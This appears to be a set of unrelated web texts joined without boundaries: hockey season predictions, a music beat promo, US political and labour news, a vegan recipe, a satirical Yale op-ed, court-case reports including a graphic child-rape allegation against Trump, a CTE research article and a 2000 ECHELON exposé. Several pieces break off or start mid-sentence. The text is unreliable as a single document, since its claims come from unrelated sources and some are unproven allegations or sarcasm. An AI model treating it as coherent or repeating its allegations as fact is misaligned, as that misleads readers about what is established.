Analysis: The Rangers are still the king of the Metropolitan Division. I do believe that their 12 point gap they had over the second place Capitals will shrink a little bit, but the Rangers are still the favorite to win the division. The Rangers had a pretty quiet summer overall – gone is speedster Carl Hagelin to Anaheim and he is replaced by former Ducks forward Emerson Etem. The Rangers also added forward Viktor Stalberg to add to their already speedy team. Rangers forward Derek Stepan also received a very nice long-term extension over this summer. The Rangers are one of the most balanced teams in the NHL from top to bottom which is why I think they will finish at the top of the Metropolitan Division. I do not envision them finishing worse than second in the division. This club is deep at every position, so they will have a lot of success for the immediate future. *Washington Capitals
Analysis: The Capitals were a little slow out of the gates last season when they were still learning the Barry Trotz system. This year, it will be a slightly different looking Capitals team. They will have more speed and skill with the additions of T.J. Oshie and Justin Williams. Evgeny Kuznetsov should continue making strides as a player who developed into the Capitals second line centre last season. Yes, the Capitals lost some players like Mike Green, Eric Fehr, Joel Ward, and Troy Brouwer. However, this Capitals team should be able to score a few more goals this year and they should not have to rely on Ovechkin as much to bail them out in games. In addition to their forward moves, the Capitals also re-signed franchise goaltender Braden Holtby to a long-term deal at an affordable price and they re-upped Marcus Johansson for another year for added forward depth. I expect the Capitals young stars such as Andre Burakovsky and Tom Wilson to take positive strides in their development and they should have career seasons in point totals. If there is one team that may challenge the Rangers for the top spot in the Metropolitan Division, it is the Washington Capitals. *NY Islanders
Analysis: This will be an exciting season for the Islanders as they begin playing at the Barclays Center in Brooklyn. Overall, the Islanders did not do anything earth shattering this summer and they remained fairly quiet. They signed veteran goaltender Thomas Greiss to a two-year deal to backup Jaroslav Halak in net. They also gave minute-munching defenseman Thomas Hickey a three-year extension at a very affordable price. I could see the Islanders slip a little bit and not reach their 101 points that they achieved this past season. But this is still a very good capable group that is well-coached. John Tavares should still be near the top of the NHL in the points race and I expect his teammate Kyle Okposo to have a rebound season. The Islanders are one of the scrappier teams in the Metropolitan Division, so they should be around barring any major injuries or goalie meltdowns. Their defense still concerns me a little bit and I still believe they need to add another piece to it.
4.*Pittsburgh Penguins
Analysis: It was an off-year in Pittsburgh in 2014-15. The injury bug always seems to float over the Penguins’ heads in recent memory. The Penguins have had a pretty busy summer and they have revamped their roster. They went out and made a big deal with the Toronto Maple Leafs and they got sniper Phil Kessel off their roster. In addition to Kessel, they traded Brandon Sutter to the Vancouver Canucks and got back forward Nick Bonino and defenseman Adam Clendening in the trade. The Penguins also added to their bottom-six depth and signed former Capital Eric Fehr to a three-year deal. The Penguins defensive core is still very young and inexperienced and I feel they could add another veteran to the group to make them better. Marc-Andre Fleury was very good in net for them last season and I am confident he can have another good season to help propel them back into the playoffs. With Kessel added to the mix, the Penguins should have a top five powerplay unit in the NHL once again which will pay off for them.
*Columbus Blue Jackets
Analysis: I am a believer in the Columbus Blue Jackets for the upcoming season. But two things will have to happen first. The defensive core has to play better and Sergei Bobrovsky has to have a rebound year. I believe that the Jackets have a good forward group. They made a big trade this summer and got Brandon Saad from the Chicago Blackhawks. The Blue Jackets have established a good young forward nucleus. Saad will join fellow youngsters Ryan Johansen, Alexander Wennberg, and Boone Jenner and this group will be awesome to watch for years to come. The Blue Jackets fought the injury bug early last season and it really hurt them in the long run. But they finished the 2014-15 regular season with an impressive 9-0-1 record in their last ten games. If the Jackets can get off to a quicker start than they did last year, they should be sniffing around the playoffs come early April 2016. The Blue Jackets should try to add two more defenders at some point to the season, especially if they are still in the hunt at the upcoming NHL Trade Deadline. I believe that they can be this year’s Cinderella story like Ottawa was last season. Philadelphia Flyers
Analysis: The Flyers were surprisingly quiet this summer and did not make any significant moves. It is very un-Flyer-like to not try to counteract major trades made by Pittsburgh and Washington. The Flyers will have a new bench boss this year with former University of North Dakota head coach Dave Hakstol added to the fold. Flyers GM Ron Hextall gave a huge eight-year extension to forward Jake Voracek who had a career year in 2014-15. Hextall also re-signed defenseman Michael Del Zotto and Sean Couturier to contract extensions. He also bolstered the goaltending depth by adding former Capital Michal Neuvirth to back up Steve Mason for the next couple of seasons. I feel the Flyers are simply not there yet and they still have a little ways to go. They are still in the process of developing their blueline for the future. The Flyers could also use a little bit more depth up front. They have tried moving forward Vincent Lecavalier, but there have been no takers for his services. R.J. Umberger and Matt Read are two players that the Flyers desperately need more production from because their production is low for their contract price tags. Overall I expect the Flyers to finish right where they were this past season, and I feel they could possibly have a slight decline in points. Carolina Hurricanes
Analysis: The Hurricanes continue to build through the draft and through trades. They have been quiet for most of the summer. At the 2015 NHL Draft, they selected the highest rated defensive prospect out of Boston College Noah Hanifin. In addition to their Hanifin selection, the Hurricanes made a couple of transactions. First, they acquired goaltender Eddie Lack from the Vancouver Canucks in exchange for a couple of picks. After the Lack deal, they sent goaltender Anton Khudobin to the Anaheim Ducks in exchange for defenseman James Wisniewski. At the beginning of free agency, the Hurricanes bought former Capital Alex Semin out of his contract. While the Hurricanes did not make any big free agent splashes, they re-signed some of their own talent with players like Riley Nash, Justin Shugg, and Zach Boychuk. The talk surrounding the Hurricanes to begin the 2015-16 season will be the status of Eric Staal. He has an expiring contract and has a desire to stay in Carolina. Do the Carolina Hurricanes have Eric Staal in their future plans? If Staal does not re-sign with Carolina leading up to the NHL Trade Deadline, do the Hurricanes decide to move him to a contender? Hurricanes goaltender Cam Ward will also be up for a contract extension after the season concludes. He has battled through injuries through his career. Is Eddie Lack poised to take the starting goaltender job in Raleigh? It will be interesting to see how this season unfolds in Raleigh, but I still think the Hurricanes will finish second-to-last in the Metropolitan Division. New Jersey Devils
Analysis: The Devils have gone through some sweeping changes over the past few months. New Devils General Manager Ray Shero is trying to get younger in New Jersey. The Devils now have a new bench boss with John Hynes as the man in charge. At the 2015 NHL Draft, the Devils took centre Pavel Zacha with the sixth overall pick. They also made a nice deal at the NHL Draft and acquired Kyle Palmieri from the Anaheim Ducks. The Devils remained fairly quiet at the start of free agency. They added defenseman John Moore and forward Jim O’Brien as depth moves. Like the Hurricanes, they also re-signed some of their own talent with players like Stefan Matteau, Seth Helgeson, and Adam Larsson receiving new contracts. While the Devils did nothing earth shattering, they have a new philosophical plan in place. They will continue to build around goaltender Cory Schneider and their young defenseman like Adam Larsson, Jon Merrill, and Damon Severson for the future. The rebuild in New Jersey is slowly taking place, and it will take a few years for the Devils to return to any kind of postseason action. The aging forward group (Elias, Zajac, Cammalleri) should eventually be moved for more picks and prospects. The positive thing about the Devils future is that they have some talented defensive prospects and a goaltender who will be good for many years to come. There is hope for the Devils, but not for the next couple of seasons.
By George Foussekis02 Fly With Me Kid Cudi Type Beat Kyle Ford
Kyle Ford, music producer at the Baltimore Sound Shack Recording Studios, has a fresh custom beat for your listening pleasure. This one is a little heavy, dark and mysterious, a la original alternative-trip-hop masters like Tricky or Massive Attack but with a little bit of a sharper intensity. There are hints of experimental hip hop in here too (think Pharcyde and a Tribe Called Quest). The moody, deep textures in ”Fly With Me” could make the perfect backdrop for rolling around the city or chilling with friends playing video games.
The track is diverse all the way through, reminiscent of Tricky’s classic hit “Overcome:” A deep base tempo that keeps you rolling juxtaposed by an in-your-face-snare sound that keeps you sharp. Both tracks has a way of sort of pulling you into a rhythm almost against your will…it’s dark and you don’t quite know where you’re going, but that’s why you want to stay there. It’s moody but still a little playful, a combination which creates a perfect atmosphere of intrigue and introspection. Both tracks sit in a minor key that’s brooding but somehow still upbeat, inviting the listener into a dark, urban journey. Similar most of trip hop artist Kid Cudi ‘s repertoire, they’re introspective, bringing us into ourselves and exploring a little. This track could be a great backdrop for those nights you just feel like staying in and fixing stuff, making things or getting creative. This beat is very reminiscent of Kid Cudi’s darker side which is further explored in the Billboard article written by Brad Wete.
Kyle’s “Fly With Me” has a heavier, rougher sound, reminiscent of alternative rapper Kid Cudi’s’ huge 2009 hit “Pursuit Of Happiness,” which features some bizarre backwards guitar layers that create an ethereal but vaguely off putting feel. Like Kid Cudi, Ford manages to bring a certain openness to the rhythm. Cudi’s’ beats come through a little cleaner, where “Fly With Me” is a little on the rough side, evoking a raw and direct urban edge. This beat is sexy, driven, sharp but without too much attack. The melody and gradually added layers introduced throughout the song create a layered, complex feel that make it the perfect addition to almost any playlist. This beat had me checking out www.kidcudi.com so that I could re up on some merch. Grab your free mp3 download today× Vice Chair of Wasatch County GOP resigns amid criticism over letter on equal pay for women
SALT LAKE CITY — The Vice Chair of the Wasatch County Republican Party has resigned after receiving a wave of criticism for a letter to the editor he wrote in opposition to equal pay for women.
Cindie Quintana, Director of Communications for the Utah GOP, confirmed to Fox 13 News that James Green resigned as Vice Chair of the Wasatch County GOP at 2 p.m. Friday.
Green told Fox 13 News he’s received a lot of feedback over the letter, in which he said that paying women more would mean paying men less.
“You wouldn’t believe the hateful, vile comments and messages I’ve received,” Green said of the reaction.
He said people were blaming the party for his personal opinions, so he decided to step down from his role as vice chair.
“I didn’t want to hurt the party any further,” he said. “They didn’t force me to do it. There was no coercion. I chose to step down.”
The former vice chair added, “I will pray for America.”
Green wrote a second letter apologizing for his first letter earlier this week, saying he doesn’t “feel the government should be dictating to private establishments what they must do in regard to employment, hiring, or wages.”
Rep. Tim Quinn, a Republican representing Wasatch County, issued a statement Friday distancing the county organization from the opinions espoused by Green in the original letter.
“I am shocked and appalled to learn how James Green feels about equal pay for women. I don’t know where this belief came from. I do not subscribe publicly or privately to the words or the spirit behind these words, thoughts or ideas. Of course, the Wasatch County Republican Party and I are for equal pay and rights for all people. My hope is that there will be a sincere apology. I appreciate that he immediately stepped down from his position within the GOP.”
In the original letter to the editor, Green wrote: “If businesses are forced to pay women the same as male earnings, that means they will have to reduce the pay for the men they employ… simple economics.”
Green went on to write that this will make it harder for men to support their families, “which will mean more Mothers will be forced to leave the home (where they may prefer to be) to join the workforce to make up the difference.”
Click here for more on the reaction to the letter as well as the full text of Green’s follow-up letter and apology.Assemblyman Tim Eustace (D-Bergen) plans to introduce legislation pushing back against Thursday’s net neutrality repeal and protect New Jersey consumers from a vote by the Federal Communications Communication to scrap existing regulations that bar Internet service providers from charging based on use, website or application.
“Everyone who uses the Internet should be concerned about how this will impact Internet access and affordability,” said Eustace in a statement. “The Republican-controlled FCC has sold out the American public. This is as anti-consumer as it gets.”
The decision to repeal net neutrality has been met with widespread criticism and many have said that the move is a cash grab by service providers who hope to charge consumers more for Internet use lest they see service reductions, slow loading time or face paywalls during browsing.
Eustace announced his plan to propose a bill on Thursday, the same day that the FCC agreed to rollback the consumer protections put in place during the tenure of President Barack Obama. He said he hopes to introduce the bill before the end of this legislative session.
But Eustace’s bill is likely to get significant pushback if it makes it through the state Legislature and is signed into law by New Jersey’s governor. The FCC’s Thursday decision does not allow states to set their own net neutrality rules. California state Senator Scott Wiener and Washington Governor Jay Inslee have both proposed implementing strict business practices for Internet service providers to ensure net neutrality-like protections in those states, an effort that would circumvent the FCC decision by making it hard for service providers who don’t meet stricter state standards. Because Eustace’s bill had not yet been drafted, it is unclear if the legislation will take the same approach.
“When so much of our world revolves around the Internet, we cannot let this decision go unchallenged,” Eustace said.
The Attorneys General of New York Illinois, Oregon, Massachusets and Washington State have said they will file a multistate lawsuit against the FCC’s decision.This vegan Caesar salad is EPIC! You should try it because it has less fat, is cholesterol-free and tastes so amazing.
If you’re vegan and miss the Caesar salad, don’t worry! I want to share with you my vegan Caesar salad recipe, it’s EPIC!!! If you’re not a vegan, you should try it too, it has less fat and is cholesterol-free.
I know it’s not the healthiest salad in the world, but it’s just perfect for special occasions or when you’re craving for a super creamy and tasty salad. You need 50 minutes to make it, but it’s totally worth it, I promise! You won’t regret when you make this amazing recipe.
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I’ve used chickpea croutons instead of bread croutons because they’re gluten-free, healthier and I love how they taste. I’ve also substituted the cheese for vegan Parmesan cheese, but you can also use nutritional yeast or brewer’s yeast instead.
I love tofu so much! I could eat it at every single meal, but I try to limit soy products in my diet and I only use them one or twice a week, excluding soy sauce (I consume it more often).
I usually bake tofu (15 minutes each side), but you can also fry it, it’s ready in 5 minutes, but is less healthy and high in fat because of the oil.
When the tofu is cooked, you only need to sauté it with soy sauce. I’ve also added water and an improvised homemade chicken seasoning to make the tofu taste like chicken.
Feel free to use another chicken seasoning or your favorite herbs and spices. I’ve used thyme, sweet paprika, cumin, black pepper and garlic and onion powder. You can add salt too, but as the soy sauce is salty, it’s not necessary.
Use any sort of lettuce or even other leafy greens (I love spinach and kale), but try to avoid iceberg lettuce because has less flavor and nutrients. I prefer to use romaine lettuce, but it’s up to you.
If you don’t want to spend much time in the kitchen you can use store bought bread croutons, roasted chickpeas or nuts, use nutritional yeast or brewer’s yeast instead of the homemade vegan Parmesan cheese and fry the tofu instead of bake it, the salad will be delicious too, but if you have time, I recommend you to try my recipe.
If you make this vegan Caesar salad recipe, please leave a comment or tag a picture #simpleveganblog on Instagram or any other social network. We love to see your pictures and comments, it makes us very happy!Mostly a posi space of Things I Like. I tend to post: anarchish politics & veganism; pictures of things in my life, animals, plants, jewelry, linguistics, comics, graffiti. I occasionally comment on current events, but I try to keep it to a minimum. I keep an even balance between original posts and reblogs.
They/them. INFJ. Ravenclaw with a side of Hufflepuff. Spoonie.
bc it's just polite bah humbug
I like following political blogs, but not if you post stressful things without a warning; namely sexual violence, dead bodies, and people on fire. I also blacklist D/s and ddlg, so tagging is appreciated. If I post something that should have a tag, a warning, or a "read more" cut, feel free to let me know and I will make those changes. I generally respond to messages privately
p.s.: If you came here hoping for theatre/fandom and cranky anti-patriarchy blogging, check out the sideblog :]Click for a Shareable Version of this Video.
A new Minnesota law explicitly says companies must let employees use sick time to care for ill relatives. Yet AT&T is telling some of its longest tenured employees that they can’t do that since their union contract gives them unlimited sick days.
On a frigid Wednesday noon, about 50 members of the Communications Workers of America (CWA) rallied outside the AT&T Tower in downtown Minneapolis in support of the more than ten senior employees denied compensation for sick time used to care for relatives including spouses and parents.
This is a benefit now mandated by Minnesota state law under statute 181.9413, passed in August 2013 by the state legislature. Greta Bergstrom, Communications Diretor for TakeAction Minnesota, stated, “In June 2014, the Minnesota Department of Labor and Industry issued a letter to AT&T instructing the corporation to comply with the new state statute. Since that date, AT&T has ignored the order and continued denying benefits to their most senior employees.”
Company says employees have other options
An AT&T spokesperson told Minnesota Public Radio that employees with 25 years or more of service have unlimited sick days under their union contract so they need to use other paid and unpaid options available to care for relatives. Those options include short term and long term disability benefits, five weeks of paid vacation, three paid floating holidays, four excused work days with pay, as well as family leave.
Following the rally, the crowd marched to the IDS Center to hand-deliver a letter to the offices of Littler Mendelson, P.C., the company that is legally advising AT&T. The letter asks that the law firm “advise your client, AT&T, to correctly apply MN Statute 181.9413 Care of Relative, in the spirit in which the law was enacted and not in the incorrect and unlawful manner in which (AT&T) has been applying the statute.”On Monday, a confidential email sent to a select set of Yale graduate students was irresponsibly leaked to Salon. According to the leaked email, Dr. Henry Kissinger, a winner of the Nobel Peace Prize, will give a talk titled “Europe at a Crossroads” at 3:30 p.m. on Friday at Evans Hall.
The Jackson Institute for Global Affairs doesn’t list this event publicly, even though they are hosting it. The School of Management, housed in Evans Hall, similarly has no information about the event on its website. In fact, no publicly accessible Yale website mentions a talk by Kissinger. If the Jackson Institute, the School of Management and the University at large all agree that this talk must be kept secret, it is hard to understand the motivations of the leaker who deliberately subverted the orders of her superiors.
I am confident that the extreme secrecy surrounding this talk (invitees are urged to respect the confidentiality of Kissinger’s words) exists for a reason. Openness, a spirit of inquiry and the free exchange of ideas — qualities that I believe are essential for the functioning of any University — cannot and should not always be exercised. These values must be put aside for some events, and Kissinger’s talk is one of them. Sometimes, it is necessary to create a space where young minds can be lectured to in private, on confidential matters in an event that must inevitably be secret.
The Jackson Institute balances the need for secrecy with its commitment to advertise its high profile speakers. Despite its silence about Kissinger’s upcoming visit, it does have information on his previous visits to Yale, which were put up post festum. This tactic of releasing information after the fact, when it is too late to act on it, is right out of Kissinger’s book, which has overseen many coup d’etats around the world.
Kissinger cemented his relationship with the Jackson Institute in 2011 when he donated his papers, covering an extraordinary slice of history from the invasion of Vietnam to the invasion of Iraq. His professional life and papers are valuable assets to academics. Given that researchers have access to privileged and confidential information from men who shaped history like Kissinger, the objectivity of their research is beyond doubt.
Kissinger’s relationship with the Jackson Institute and the University is not unusual. He is the embodiment of an increasingly common standard model in high-profile careers, where one transitions from political power to economic power, and then ultimately to academic power. We at Yale have been lucky to participate in this process, benefiting from insightful lectures by world leaders like Tony Blair and Stanley McChrystal.
Universities like Yale play an important role beyond that of mere research institutions. They are also de facto guardians of our historical record, maintaining libraries and supporting scholars who write books and publish papers. Orwell’s oft-quoted aphorism “He who controls the past controls the future. He who controls the present controls the past,” imposes on universities and academics a moral duty to treat the stewardship of our history with neutrality and punctiliousness.
In this light, it is reassuring to know that Kissinger’s papers at the Jackson Institute have been kept away from the prying eyes of the general public. This secure guardianship of history and Kissinger’s role in it is in contrast to rogue, publicly available datasets like the Public Library of US Diplomacy that include over 1.7 million documents from the Kissinger era. We can be secure in the knowledge that only impartial and informed scholars at the Jackson Institute have access to Kissinger’s papers. It is certain that these scholars, whom we have charged with maintaining and analyzing our shared historical record, are aided in their task by the secrecy around today’s talk.
Secrecy has been shown time and again to be a robust strategy. Secrecy is especially important in diplomatic matters, and in agencies of national security. In particular, the secrecy of ideas and facts guarantees those with access to confidential information — graduate students at the Jackson Institute and in the history department — a competitive advantage. After all, there exist ideas so important that they can only be said to a few, and so disturbing that they must be kept from the public. I’m sure Kissinger’s talk will be full of them.
Srinivas Gorur-Shandilya is a fourth-year student in the Graduate School of Arts & Sciences. Contact him at srinivas.gs@yale.edu.Dascha Polanco’s not wearing orange.
You may remember when Orange Is the New Black star Dascha Polanco was accused of punching, scratching, and pulling the hair of 17-year-old Michelle Cardona, who was visiting Polanco’s Manhattan home. Well, those charges have been dropped, and the DA dismissed the case due to “lack of stating the truth and relevant evidence.” Lack of truth and evidence seems like a good reason to leave something alone. According to Polanco’s lawyer, Gerald B. Lefcourt (who puts the “court” in being a lawyer, heh), Cardona was merely extorting the actress. Here is a statement by Lefcourt:
“From the start, Ms. Polanco has denied the allegations and we have said that the charges should be dismissed. We are pleased that after a thorough investigation and review of the actual evidence, the District Attorney’s Office has done the right thing and agreed to dismiss the case against Ms. Polanco. It is clear to us that the so-called victim was motivated by the prospects of a payday. She devised a plan to have Ms. Polanco pay her to withdraw the charges, which was furthered by a campaign of harassment directed at Ms. Polanco and her family and jeopardized their safety. Fortunately, we had irrefutable evidence of the complainant’s misdeeds on tape, including her extortion attempts, which was provided to the District Attorney’s Office.”
Guess Polanco won’t be wearing orange anytime soon — assuming she follows the rules and stays trouble-free for six months, the charges will be permanently expunged.A federal lawsuit filed in New York, accusing Republican presidential candidate Donald Trump of repeatedly raping a 13-year-old girl over 20 years ago at several Upper East Side parties hosted by convicted sex offender and notorious billionaire investor Jeffrey Epstein, was refiled on 30 September 2016, two weeks after the complainant voluntarily dismissed a suit based on the same claims.
The complainant (identified as “Jane Doe”) asserts that when she was a 13-year-old back in 1994, she was lured by a modeling recruiter to summer parties hosted by co-defendant Jeffrey Epstein at an Upper East Side mansion, tied to a bed, and forcibly raped by Trump, who slapped her and told her he would do whatever he pleased with her:
I traveled by bus to New York City in June 1994 in the hope of starting a modeling career. I went to several modeling agencies but was told that I needed to put together a modeling portfolio before I would be considered. I then went to the Port Authority in New York City to start to make my way back home. There I met a woman who introduced herself to me as Tiffany. She told me about the parties and said that, if I would join her at the parties, I would be introduced to people who could get me into the modeling profession. Tiffany also told me I would be paid for attending. The parties were held at a New York City residence that was being used by Defendant Jeffrey Epstein. Each of the parties had other minor females and a number of guests of Mr. Epstein, including Defendant Donald Trump at four of the parties I attended. I understood that both Mr. Trump and Mr. Epstein knew I was 13 years old. Defendant Trump had sexual contact with me at four different parties in the summer of 1994. On the fourth and final sexual encounter with Defendant Trump, Defendant Trump tied me to a bed, exposed himself to me, and then proceeded to forcibly rape me. During the course of this savage sexual attack, I loudly pleaded with Defendant Trump to stop but he did not. Defendant Trump responded to my pleas by violently striking me in the face with his open hand and screaming that he would do whatever he wanted, Immediately following this rape, Defendant Trump threatened me that, were I ever to reveal any of the details of Defendant Trump’s sexual and physical abuse of me, my family and I wold be physically harmed if not killed.
Alan Garten, executive vice president and general counsel for the Trump Organization, said that Jane Doe’s allegations “are completely frivolous and appear to be politically motivated,” and the Trump Organization warned her lawyer, New Jersey attorney Thomas Meagher, “that in the event he decides to refile his complaint we will seek to have him sanctioned.”Alternative lenders in Canada have doubled their share of the residential mortgage market in the past decade, increasing risks in the housing sector where they operate with limited federal government oversight.
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never been found in anyone that young.
“I’ve seen thousands of brains of individuals with neurogenerative diseases and debilitating diseases,” McKee said. “I can say this is identical to the pugilistica dementia that I’ve seen in boxers in their 70s and 80s. It’s milder because the patients are younger. But once triggered, it seems to progress. The people that develop this disease, most of them show symptoms 10 or 20 years after retirement. It progresses inexorably until death.”
As each case of C.T.E. in a former player has come to light, N.F.L. officials have contended that they are isolated incidents from which no conclusions can be drawn, often because there are no documented medical histories of the players’ concussions in the N.F.L. or otherwise. Players at all levels of football are known to not reveal their concussions for fear of being removed from games or being seen as weak.
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At a league conference on concussions in June 2007, Commissioner Roger Goodell pointed to the lack of concussion documentation from Strzelczyk’s career and said, “There’s no record he may have had a concussion swimming.” He added: “A concussion happens in a variety of different activities.”
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McKee said that the five football cases constituted unequivocal evidence that on-field impacts were a primary cause of the damage, perhaps in association with genetic and other factors her program will attempt to identify.
“Yes, it’s only five cases,” said McKee, whose findings in the Grimsley examination were confirmed by Dr. E. Tessa Hedley-Whyte, the director of neuropathology at Massachusetts General Hospital. “But it’s also 100 percent of cases for something that is exceedingly rare in the average community dweller, if you want to look at it that way.”
Among the dozen living athletes, most with a history of concussions, who have agreed to donate their brains for examination after their deaths are the former N.F.L. players Johnson, Frank Wycheck, Isaiah Kacyvenski and Ben Lynch. Also participating are Noah Welch, who played hockey for the Florida Panthers last year, and Cindy Parlow, a former member of the United States national soccer team. All of them will be examined periodically so their concussion histories and any cognitive decline can be documented in detail.
The new Boston University center is being financed primarily by the university and a $100,000 grant from the National Institutes of Health, said Dr. Robert A. Stern, the program co-director along with McKee. It will operate in collaboration with the Sports Legacy Institute, a nonprofit organization founded last year by Chris Nowinski, the former Harvard University football player and professional wrestler, and Dr. Robert Cantu, a co-director of the Neurological Sports Injury Center at Brigham & Women’s Hospital in Boston.
“I’m doing this to raise awareness of concussion and the injury, because it’s so misunderstood,” said Parlow, 30, who competed in three Olympics and two World Cups for the United States team and now has severe headaches from two significant concussions. “You can’t say, ‘Look at my broken leg.’ It’s a hidden injury. Especially in female athletes, because it’s seen as a football or male injury.”
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Nowinski, who called the families of Waters, Strzelczyk and Grimsley to request brain tissue from coroners, said he hoped that the brain-donation program would allow more brains — some with no concussion histories, for control purposes — to be more easily acquired for study by researchers both affiliated with and outside the center. He said that United States military veterans would also be approached so more could be learned about their battle injuries.
Grimsley’s widow, Virginia, said that she discussed concussions with her husband last year after news of their possible effects circulated in the news media.
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She recalled in a telephone interview Monday that Grimsley told her he had sustained eight or nine concussions during his nine seasons in the N.F.L. from 1984 through 1993.
She added that for four or five years before his death, he had been exhibiting the irritability and short-term memory problems she was later told are early behavioral manifestations of C.T.E.
“I would tell him what to get at the store two miles away, and he’d forget and have to call me from there to ask,” Virginia Grimsley said.
When Nowinski called her after her husband’s death, she recognized Nowinski’s name and cause, and agreed to participate in the hope that current athletes and their families can avoid similar problems.
“John helped people his whole life,” she said. “Even though he’s gone, he’ll still be helping people.”8 May 2000. Thanks to JB.
Below is the text of an article that appeared in an Irish news magazine, "The Phoenix", dated May 5th 2000, claiming that Ireland has become part of the ECHELON organisation.
Phoenix magazine has an excellent reputation in Ireland for investigative journalism, usually uncovering and reporting political stories long before their mainstream counterparts. If you are interested in the article and wish to verify the contents, Phoenix can be contacted as follows:
email : goldhawk@indigo.ie
phone : +353 1 661 1062
fax : +353 1 662 4532
The Phoenix, May 5, 2000, Vol. 18 No. 9, Pgs 20-21
Goldhawk - HUSHHUSH!
PADDIES JOIN GLOBAL SPY NETWORK
THE ABOLITION of Ireland's neutral status has been accelerated by a secret agreement with the American and British governments - without even a nod in the direction of the Oireachtas or the Irish public - to join a state-of-the-art, global telecommunications spying apparatus. This is revealed in a special European comission report on the Anglo-American integrated, world-wide network of electronic initelligence collection platforms (120 satellites and ground stations) code-named ECHELON. It produces military, political and economic intelligence by intercepting telecommunications and clandestinely plundering computer files.
In June, Ireland will become part of a secret alliance, joining Canada, Australia and New Zealand to help America's NSA (National Security Agency) and Britain's GCHQ (Government Communications HQ) communications spy systems to snatch computer secrets from all over the world.
Spy bosses in Washington and London sucked Ireland into ECHELON with fascinating ingenuity. First approaches came from the FBI in 1993 to Garda HQ and the Department of Justice to join a mysterious body called ILETS (International Law Enforcement Telecommunications Seminar). So closely involved has Ireland become with ILETS that in 1997 Dublin Castle was chosen as the venue for a meeting of ILETS and ECHELON experts. Information about ILETS is not made available on "security" grounds. So secret are the arrangements about ILETS that the European Parliament report describes it as "a previously unknown international organisation."
Ostensibly, ILETS is about co-ordinating international phone tapping by police agencies to comabt organised crime and drugs smuggling. Most people are against crime - the way they are against sin - and claiming that ECHELON is about controlling crime is a clever ploy. But ECHELON is not a police surveillance system - it is run by the US and British intelligence services for military, political and economic reasons - as the mission statements of both the NSA and GCHQ make clear.
ECHELON uses the same basic technology as the Internet, enhanced by gigantic computers, to trawl through millions of phone calls, e-mail and faxes searching for key characteristics. It has been compared by experts in Brussels with a series of giant vacumm cleaners in space which suck up communications and re-transmit them to fixed points where they are monitored by super-computers and sifted for specific intelligence.
The ECHELON spies on friend and foe alike (Robert Maxwell and Tiny Rowland where among its targets). While the CIA claims it is used for monitoring the Russian Mafia or mad Muslim Osama Bin Laden and his embassy-bombing chums in Afghanistan the reality is that ECHELON is about keeping America great (and Britain hanging on its coat-tails) through stealing information from economic rivals by hidden electronic and non-traceable means.
ECHELON is the 21st century grandchild of a wartime radio monitoring network spawned by the secret 1941 agreement - the UK-USA Communications Intelligence Pact. During the Cold War the UK-USA Pact incorporated Canada, Australia and New Zealand using old technology to monitor multi-channel telegraph systems and short wave radio. But in a series of technological leaps, this scattered network used for spying on the Soviets and their allies metamorphosed into ECHELON.
Two things have created this super-spy web - the development of ultra-fast, huge-capacity computer systems and the now common use of microwave radio links to carry burgeoning telecommunications traffic throughout the world. It was once a "passive" system which merely monitored target traffic. But ECHELON now has an "active" component which allows NSA or GCHQ analysts to covertly "hack" into information on the hard disks of computers linked into any telecommunications system, including the Internet.
In June, Ireland will join ECHELON. Precisely why the Anglo-American intelligence alliance wants Ireland as a partner is a mystery. It may be that they hope to secretly use the Eircom satellite communications station at Middleton, Co. Cork, to extend the capability of the British spy facility at Morwenstow, Cornwall, further west. New Zealand was included in the Pact for geographical reasons - extending coverage in the Southern Ocean - just as Ireland may be needed to give a wider "footprint" in the eastern Atlantic. Or it could be that the NSA believes US or multinational software or other high technology companies are doing things in Ireland behind the backs of the defense establishment in Washington. The military interests of Uncle Sam and the economic interests of fast buck high tech firms have clashed many times in recent years.
Whatever the reason, from June onwards neutral Ireland will be part of the ECHELON Anglo-American military intelligence pact - an alliance which Germany, France and Italy now know is targeting their commercial secrets. The former head of the CIA asked about ECHELON in a Paris interview last month justified US electronic spying on France by pointing out that a French defence firm had used bribes to get a multi-million dollar contract in Brazil. When the CIA told the Brazillian government, the contract was awarded to a US defence firm, he said.
The fact that C3 (Garda Intelligence and Security) will get a few crumbs of information about Irish druggies in Amsterdam from ILETS/ECHELON should not obscure its real purpose. The Brussels report which identifies Ireland as ECHELON's new recruit says: "there is wide-ranging evidence that major governments are routinely using communications intelligence to provide commercial advantage to companies and trade."
Following the publication of the European Commission report (the catchy-named Scientific and Technical Options Assessment Vol.2/5 - get it at European Union House, Molesworth Street). The Department of Justice gave its standard answer to media queries about phone tapping. "Warrants are issued only in very exceptional circumstances under the 1993 Interception of Postal Packets and Telecommunications Messages"... blah, blah, blah.
Few people can credit that it is possible to monitor millions of phone calls around the world simultaneously. But it is - with computers of the sort used on the Enternet. Fewer still can comprehend that it is possible to sift out useful intelligence from such a vast flow of information. But that's where computers come in again. Much of the ECHELON "product" is derived from computer-read "peripherals" rather than human conversation. Peripherals are the destination, source and duration of a target communications.
In Northern Ireland, over the past 30 years, British intelligence was overwhelmed with information. It developed "knowledge management" software to handle the raw material from Operation Vengeful - the Big Brother network which produced a vast daily flow of facts on vehicle and personal movements from overt and covert observation posts, CCTV cameras, vehicle check-points and house raids.
More advanced forms of this "knowledge management" system have allowed vast expansion of the Enternet - allowing computers to translate information in a way formerly done by humans. In effect, the ECHELON computers are programmed to "think" - interpreting things like changes in call patterns or increased or decreased communications use by specific targets.
The biggest secret of ECHELON is that it is more that just a passive communications interception network - it's also an active "hacking" system which allows British and American intelligence to covertly examine and copy computer files all over the world. In effect, it provides a key to open the 21st century equivalent of filing cabinets - computer hard disks with their confidential stores of information data - justifying its Enter-net name.
It doesn't require any technical knowledge to understand this. If a teenage nerd in a Welsh pit village can break into high security computers in the US - as happened last month - then the reverse can and does happen. Thus Caymen and Swiss bank records are as easily accessible to ECHELON as Third World state secrets or private information on a home computer linked to the Internet.
It must have caused teeth-grinding annoyance to the Enternet bosses when they learned that their French and German counterparts - annoyed at the blatant way the Anglo-Americans are spying on their former Cold War allies - had co-operated to produce the Brussels paper which not only made ECHELON secrets public but revealed the existance of ILETS - the covert organisation of which Ireland is a member.
The Sceientific and Technical Options Assessment Vol 2/5 Euro paper explains how collection platforms (eavesdropping satellites) detect all radio transmissions within their "footprint" (the area of earth within their view). These include all LF, MF, VHF, UHF, and SHF (microwave) broadcast and point-to-point transmissions. In short, anything that moves in the entire radio spectrum.
